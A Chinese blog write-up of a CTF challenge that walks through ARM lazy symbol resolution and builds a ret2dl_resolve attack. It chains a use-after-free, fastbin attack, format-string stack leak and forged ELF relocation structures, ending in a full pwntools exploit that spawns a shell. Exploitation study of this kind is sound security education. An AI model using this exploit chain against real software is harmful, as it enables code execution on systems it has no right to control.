记一次arm架构的ret to dl_resolve

首发于安全客 https://www.anquanke.com/post/id/196442

前记

想试试这个利用方式是因为今年Xman冬令营选拔赛上的一道题目baby_arm

1
2
3
4
5
6
7
➜  arm checksec pwn       
[*] '/home/mask/Desktop/xman/arm/pwn'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x10000)

题目本身很简单,只是一个free后未置0的UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int del_note()
{
int result; // r0
int v1; // [sp+8h] [bp+8h]

printf("Index :");
read(0, &v1, 4u);
result = atoi((const char *)&v1);
if ( result < 0 || result >= count )
{
puts("Out of bound!");
exit(0);
}
if ( notelist[result] )
{
free(notelist[result]); // uaf
result = puts("Done it");
}
return result;
}

fastbin attack去劫持notelist便可以任意地址读写了

因为这是一道arm架构的题目,其libc也是arm的libc,当时无法找到远程libc的版本,所以没有拿到flag,后来有另外一位师傅给了一个多平台libc search的网站https://libc.nullbyte.cat,以后遇到相应题目也能继续做下去了

赛时有考虑过ret to dl_resolve的做法,在网上查了下也没发现有相关的文章,当时也没有详细研究,这次趁着期末考前有空,仔细琢磨了一下

加载函数

先来看一下arm的程序是如何加载libc中的函数的

plt/got

就以main函数中的一个puts调用为例来分析

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
...
puts("Tell me your name:");
...
}

汇编层面是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:00010A5A                 LDR             R3, =(aTellMeYourName - 0x10A60)
.text:00010A5C ADD R3, PC ; "Tell me your name:"
.text:00010A5E MOV r0, R3 ; s
.text:00010A60 BLX puts

.plt:00010560 puts ; CODE XREF: add_note+22↓p
.plt:00010560 ; add_note+84↓p ...
.plt:00010560 ADR r12, 0x10568
.plt:00010564 ADD r12, r12, #0x10000
.plt:00010568 LDR PC, [r12,#(puts_ptr - 0x20568)]! ; __imp_puts

.plt:00010510 ; Segment type: Pure code
.plt:00010510 AREA .plt, CODE
.plt:00010510 ; ORG 0x10510
.plt:00010510 CODE32
.plt:00010510 STR LR, [SP,#-4]!
.plt:00010514 LDR LR, =_GLOBAL_OFFSET_TABLE_ ; PIC mode
.plt:00010518 NOP
.plt:0001051C LDR PC, [LR,#8]!

我们在gdb中跟进看看

1.png

2.png

这里的ldr pc,[ip, #0xab8]!(注意有一个!)的意思是ip = ip + 0xab8, pc = *ip,此时ip寄存器指向了puts@got,然后pc读取puts@got的值,与x86架构一样,未加载的函数其GOT表上填的都是跳去dl_resolve的函数地址,也就是PLT表头的位置,于是程序就到了准备进入dl_resolve的地方0x10510位置处

3.png

在PLT表开头处的几条指令,lr寄存器指向了GOT表(在pwndbg中REGISTERS栏没有显示lr寄存器,不过可以用p/x $lr来查看),下一条跳转指令pc = *(lr + 8)也就是跳去GOT表上存的一个地址,也就是_dl_runtime_resolve,注意这里的跳转指令也带有!,所以lr变成了GOT+8

4.png

_dl_runtime_resolve

我们先查看一下arm的_dl_runtime_resolve源码,这是一段汇编代码,在/sysdeps/arm/dl-trampoline.S中,只关注主要代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
_dl_runtime_resolve:

@ we get called with
@ stack[0] contains the return address from this call
@ ip contains &GOT[n+3] (pointer to function)
@ lr points to &GOT[2]

@ Save arguments. We save r4 to realign the stack.
push {r0-r4}

@ get pointer to linker struct
ldr r0, [lr, #-4]

@ prepare to call _dl_fixup()
@ change &GOT[n+3] into 8*n NOTE: reloc are 8 bytes each
sub r1, ip, lr
sub r1, r1, #4
add r1, r1, r1

@ call fixup routine
bl _dl_fixup

@ save the return
mov ip, r0

@ get arguments and return address back. We restore r4
@ only to realign the stack.
pop {r0-r4,lr}

@ jump to the newly found address
BX(ip)

简单来说,进入_dl_runtime_resolve后,流程如下

  1. 先保存前五个寄存器(调用函数时传递的参数)
  2. 然后通过lr寄存器(此时是指向GOT+8)取得link_map的地址(保存在GOT+4),作为参数1,存在r0
  3. 计算函数的reloc_arg(可以在_dl_fixup的源码中查看),reloc_arg = (ip - lr -4) / 2
  4. 调用_dl_fixup函数
  5. 从函数中返回加载成功的函数地址(libc中),保存到ip
  6. 恢复寄存器(函数参数)
  7. 跳转到ip,即调用加载成功的函数

5.png

link_map是在libc中的,不过地址存在了程序中的GOT段,主要关注这个reloc_arg,那三行有关r1的指令,实现的是r1 = 2 *(puts@got - (GOT +8) - 4),值就是0x28

至此,就准备进入_dl_fixup

_dl_fixup

这个函数是在ld.so动态库中,相应源码在/elf/dl-runtime.c,挑出主要部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# define reloc_offset reloc_arg

DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
{
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
// 获取程序中的 ELF Symbol Table
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
// 获取程序中的 ELF String Table
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 利用参数 reloc_offset(reloc_arg) 获取函数的 Elf32_Rel 结构体(程序中的 ELF JMPREL Relocation Table)
// 查表方式是 reloc = ELF JMPREL Relocation Table Base + reloc_offset
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 利用 reloc->r_info 获取函数的 Elf32_Sym 结构体 (程序中的 ELF Symbol Table)
// 查表方式是 r_info 的高位字节代表了函数的 ELF32_Sym 结构体在 ELF Symbol Table 中的偏移(其实这里可以说是索引,这里记录是 0x10 大小作为一个单位)
// 也就是说 sym = ELF Symbol Table Base + (r_info >> 8) * 0x10
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);

assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
// 这里会检查 reloc->r_info 的低位字节是否为 0x16 (针对arm的)

if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) // 针对这个程序的利用,这里需要bypass,下文会讲
{
const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// 根据 strtab + sym->st_name 处的字符串,通过 _dl_lookup_symbol_x 去加载函数,返回值是 libc的基址

value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
// 得到函数真实地址
}

return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
// 修改函数 GOT 表,返回真实地址
}

跟着流程走一遍

1
2
3
4
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
// 获取程序中的 ELF Symbol Table
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
// 获取程序中的 ELF String Table

这里从link_map中获取symtabstrtab两个表,这两个表是存在ELF文件上的

6.png

7.png

可以发现这个ELF中调用的函数都在这里罗列了出来,程序正是利用这些表中的结构体去加载函数的,这也是ret to dl_resolve攻击的主要利用点

1
2
3
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); 
// 利用参数 reloc_offset(reloc_arg) 获取函数的 Elf32_Rel 结构体(程序中的 ELF JMPREL Relocation Table)
// 查表方式是 reloc = ELF JMPREL Relocation Table Base + reloc_offset

这一句通过传进_dl_fixup的第二个参数,来从JMPREL中获得将要调用的函数的Elf32_Rel结构体,ELF JMPREL Relocation Table这个表也是在ELF文件中

8.png

9.png

上面提到了,调用puts时,传进来的值时0x28,按照宏定义运算,得到的Elf32_Rel结构体地址应为0x10494 + 0x28 = 0x104bc,得到Elf32_Rel <0x21020, 0x616> ; R_ARM_JUMP_SLOT puts这个结构,Elf32_Rel结构体定义如下

1
2
3
4
typedef struct {
Elf32_Addr r_offset;
Elf32_Word r_info;
} Elf32_Rel;
1
2
3
4
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];  
// 利用 reloc->r_info 获取函数的 Elf32_Sym 结构体 (程序中的 ELF Symbol Table)
// 查表方式是 r_info 的高位字节代表了函数的 ELF32_Sym 结构体在 ELF Symbol Table 中的偏移(其实这里可以说是索引,这里记录是以 0x10 大小作为一个单位)
// 也就是说 sym = ELF Symbol Table Base + (r_info >> 8) << 4

10.png

利用reloc来获取函数的Elf32_Sym结构体,按照宏定义运算,得到的Elf32_Sym结构体地址应为0x10214 + (0x616 >> 8) << 4 = 0x10214 + 0x60 = 0x10274,得到Elf32_Sym <aPuts - byte_10334, 0, 0, 0x12, 0, 0> ; "puts"这个结构体,Elf32_Sym结构定义如下

1
2
3
4
5
6
7
8
9
10
11
typedef uint32_t Elf32_Addr;
typedef uint32_t Elf32_Word;
typedef struct
{
Elf32_Word st_name;
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info;
unsigned char st_other;
Elf32_Section st_shndx;
} Elf32_Sym;

st_name是函数名相对于strtab的偏移,按照我们得到的结构体来说,这个数值为0x1a,得到的函数名字符串所在地址为0x10334 + 0x1a = 0x1034e,正好为puts

1
2
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
// 这里会检查 reloc->r_info 的低位字节是否为 0x16 (针对arm的)

这里会对Elf32_Rel中的r_info进行一个check,x86中r_info的低位是0x7而arm中这里应为0x16

1
2
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// 根据 strtab + sym->st_name 处的字符串,通过 _dl_lookup_symbol_x 去加载函数,返回值是 libc的基址

这一处就是按照前面准备好的各种结构体,去加载函数,返回libc基址,调用_dl_lookup_symbol_x

11.png

注意第三个参数 &sym,这里是sym变量的地址0xf6ffed4c,放在栈上

12.png

执行完这个函数,返回的只是libc的基址,那么我们想要调用的加载的地址在哪里呢?

其实在_dl_lookup_symbol_x中把symst_value修改成了加载函数相对于libc基址的偏移

13.png

这里提一下,在vmmap出来的地址与真实的函数偏移基址差了0x1000,这与x86上的情况不大一样,不知道是什么原因

14.png

1
2
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
// 得到函数真实地址

接着就利用libc基址与函数偏移得到函数真实地址

1
2
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
// 修改函数 GOT 表,返回真实地址

加载了函数以后,再调用就直接通过GOT表找到函数真实地址了

15.png

16.png

到此位置,arm中动态加载函数的流程已经走完了,下面针对这道题目谈谈如何利用

利用思路

这道题本身是一道可以任意地址读写的题目,在假设不知道libc的情况下,使用ret to dl_resolve应该是一个很好的办法

在以往x86上的ret to dl_resolve利用,无非是栈转移到bss段再进行ROP,可是我没有发现arm上有关栈转移的操作(有些文章说arm有sp和fp寄存器,但是针对这题貌似没有发现,可能是arm的其他类型),然后我也没发现有栈溢出的地方

回归到任意地址读写的功能上,我们可以修改函数GOT表从而达到执行任意地址代码(地址确保是可执行的),找一下gadget

17.png

发现__libc_csu_init里的一个pop可以控制各寄存器然后跳到pc处,只要修改某个函数的GOT表为这个gadget即可

回想一下在_dl_runtime_resolve前,函数GOT表地址是存在ip寄存器的,同时lr寄存器指向GOT+8,所以我们可以利用这个gadget控制lrippc,从而可以自定义加载函数

那么问题就到了如何控制栈上对应位置进行pop,利用任意地址写是可行的,但是我们不知道栈地址

如何来leak栈地址,我在这里取巧了,通过任意地址写来修改puts@gotprintf@plt,进而实现了格式化字符串漏洞利用,泄漏了stack,进入对栈上数据进行修改

这里要注意函数栈帧的重合,在利用时进行一次pop发现edit函数的返回地址被破坏了,于是我多进行了一次pop,避开了当前函数的栈帧,同时也控制了lrippc

18.png

19.png

剩下伪造fake_gotfake_ELF32_Relfake_ELF32_Sym了,还是利用任意地址写在bss上写下这两个结构体

21.png

fake_got的计算方式是ELF JMPREL Relocation Table + (fake_got - (GOT + 8) - 4) * 2 = fake_ELF32_Rel,所以fake_got = (0x210b4 - 0x10494) * 2 + 0x21008 + 4 = 0x2961c

fake_ELF32_Rel->r_offset是待加载函数的GOT表,这里随便填了一个free@got,不影响

fake_ELF32_Rel->r_infofake_ELF32_Sym相对ELF Symbol Table的索引,再加上架构check的0x16,就是r_info = ((0x210c4 - 0x10214) >> 4) << 8 ^ 0x16 = 0x10eb16

fake_ELF32_Sym->st_name是待加载函数名相对于ELF String Table的偏移,这里调用system,写在了bss上,于是值为st_name = 0x210bc - 0x10334 = 0x10d88

东西都准备好了,接着就ret to dl_resolve

22.png

准备进入_dl_resolve,此时r0是待调用函数的参数,IP是我们伪造的fake_got

23.png

准备进入_dl_fixupr1fake_ELF32_Rel的偏移

25.png

继续执行下去,会发现一处SIGSEGV,原因是读到了错误地址

26.png

看前几条指令,可以发现bypass的地方

27.png

正好这里的r0link_map,地址存在GOT上,只需读出地址,修改link_map + 0xe4处为0就行了,这里的代码对应_dl_fixup中这一段

1
2
3
4
5
6
7
8
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) // 针对这个程序的利用,这里需要bypass
{
const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; // reloc->r_offset 太大
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

绕过这一处后,就到了_dl_lookup_symbol_x,只要这里解析成功,剩下的就完事了

28.png

利用成功

29.png

完整EXP

利用流程如下

  1. UAF + Fastbin Attack 控制notelist
  2. 修改puts@gotprintf@plt实现格式化字符串漏洞利用泄漏栈地址
  3. 读取link_map地址,并修改[ink_map + 0xe4] = 0
  4. 栈上布置fake_ELF32_Relfake_ELF32_Sym
  5. 修改栈上数据实现ret to dl_resolve
  6. Get Shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
# encoding:utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
libc = ELF("/usr/arm-linux-gnueabihf/lib/libc.so.6")
e = ELF("./pwn")
rlibc = ''
ip = ''
port = ''
debug = False


def dbg(code=""):
global debug
if debug == False:
return
gdb.debug()


def run(local):
global p, libc, debug
if local == 1:
debug = True
# p = process(["qemu-arm", "-g", "1111", "-L", "/usr/arm-linux-gnueabihf", "./pwn"])
p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./pwn"])
else:
p = remote(ip, port)
debug = False
if rlibc != '':
libc = ELF(rlibc)


se = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sea = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda: p.recv(timeout=0.5)
ru = lambda x: p.recvuntil(x, drop=True)
rn = lambda x: p.recv(x)
shell = lambda: p.interactive()
un64 = lambda x: u64(x.ljust(8, '\x00'))
un32 = lambda x: u32(x.ljust(4, '\x00'))

def add(size, c):
sla("choice:", '1')
sla(":", str(size))
sea(":", c)
#sleep(0.5)

def delete(idx):
sla("choice:", '2')
sla(":", str(idx))
#sleep(0.5)

def show(idx):
sla("choice:", '3')
sla("Index :", str(idx))

def edit(idx,c):
sla("choice:", '5')
sla(":", str(idx))
sea(":", c)
#sleep(0.5)

note_list = 0x21088
Sym_offset = 0x10eb
name_offset = 0x10d88
fake_got = 0x2961c
gadget = 0x10b20

fake_ELF32_Rel = ""
fake_ELF32_Rel += p32(e.got['free'])
fake_ELF32_Rel += p32((Sym_offset << 8) ^ 0x16)

fake_ELF32_Sym = ""
fake_ELF32_Sym += p32(name_offset)
fake_ELF32_Sym += p32(0) * 2
fake_ELF32_Sym += p32(0x12)

run(1)
sea(":", "Mask".ljust(0x1c, '\x00') + p32(0x31))
add(0x28, '0')
add(0x28, '1')
add(0x28, '2')
add(0x28, '3')
add(0x28, '4')
add(0x28, '5')
add(0x28, '6')
add(0x28, '%10$p;/bin/sh')
delete(2)
delete(3)
delete(2)
add(0x28, p32(0x21078 + 8))
add(0x28, '5')
add(0x28, p32(0x21078 + 8))
add(0x28, p32(note_list) + p32(e.got['puts']))
# UAF + Fastbin Attack 控制notelist
edit(1, p32(0x010524))
show(7)
stack = int(rn(10), 16) - 0x20
# 修改puts@got为printf@plt实现格式化字符串漏洞利用泄漏栈地址
edit(0, p32(e.got['free']) + p32(stack + 0x24) + p32(stack + 0x24 + 0x20) + p32(note_list + 0x10))
edit(3, p32(note_list + 0x2c) + p32(note_list + 0x3c) + p32(0x21004))
show(6)
link_map = un32(rn(4))
edit(3, p32(note_list + 0x2c) + p32(note_list + 0x3c) + p32(link_map + 0xe4))
edit(6, p32(0))
# 读取link_map地址,并修改[ink_map + 0xe4] = 0
edit(4, fake_ELF32_Rel + 'system'.ljust(0x8, '\x00'))
edit(5, fake_ELF32_Sym)
# 栈上布置fake_ELF32_Rel与fake_ELF32_Sym
edit(0, p32(gadget))
edit(1, p32(gadget) + p32(0x666) * 3)
edit(2, p32(fake_got) + p32(0x10a65) + p32(0x10510))
delete(7)
# 修改栈上数据实现ret to dl_resolve
shell()
# Get Shell

写的不好,希望各位大佬多多谅解~

pwn文件与脚本下载地址

链接: https://pan.baidu.com/s/1BDiDMV5nc7J4BU-R4S4wLw 提取码: tbci


  armpwn

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×